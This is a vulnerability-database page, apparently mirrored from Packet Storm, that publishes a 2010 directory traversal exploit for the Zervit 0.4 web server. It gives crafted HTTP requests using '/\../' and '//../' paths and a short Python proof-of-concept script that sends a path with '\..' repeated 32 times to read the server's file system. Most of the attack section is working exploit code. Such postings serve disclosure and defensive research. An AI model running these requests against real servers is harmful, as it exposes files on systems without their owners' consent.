Lucene search
K

Zervit 0.4 Directory Traversal

🗓️ 12 May 2010 00:00:00Reported by AutoSec ToolsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Zervit 0.4 Directory Traversal exploi

Code
`#============================================================================================================#  
# _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ #  
# /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ #  
# ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) #  
# /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ #  
# \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ #  
# )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ #  
# \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ #  
# #  
#============================================================================================================#  
# #  
# Vulnerability............Directory Traversal #  
# Software.................Zervit 0.4 #  
# Download.................http://sourceforge.net/projects/zervit/ #  
# Date.....................5/11/10 #  
# #  
#============================================================================================================#  
# #  
# Site.....................http://cross-site-scripting.blogspot.com/ #  
# [email protected] #  
# #  
#============================================================================================================#  
# #  
# ##Description## #  
# #  
# It's possible to navigate the local file system of a server running Zervit 0.4 by using a specially #  
# crafted HTTP request. The resource path must be relative and the slashes unencoded. #  
# #  
# #  
# ##Exploit## #  
# #  
# GET /\../ HTTP/1.1 #  
# Host: localhost #  
# #  
# or #  
# #  
# GET //../ HTTP/1.1 #  
# Host: localhost #  
# #  
# #  
# ##Proof of Concept## #  
import sys, struct, socket  
host ='localhost'  
port = 80  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'  
'Host: ' + host + '\r\n\r\n')  
  
while 1:  
response = s.recv(8192)  
if not response: break  
print response  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation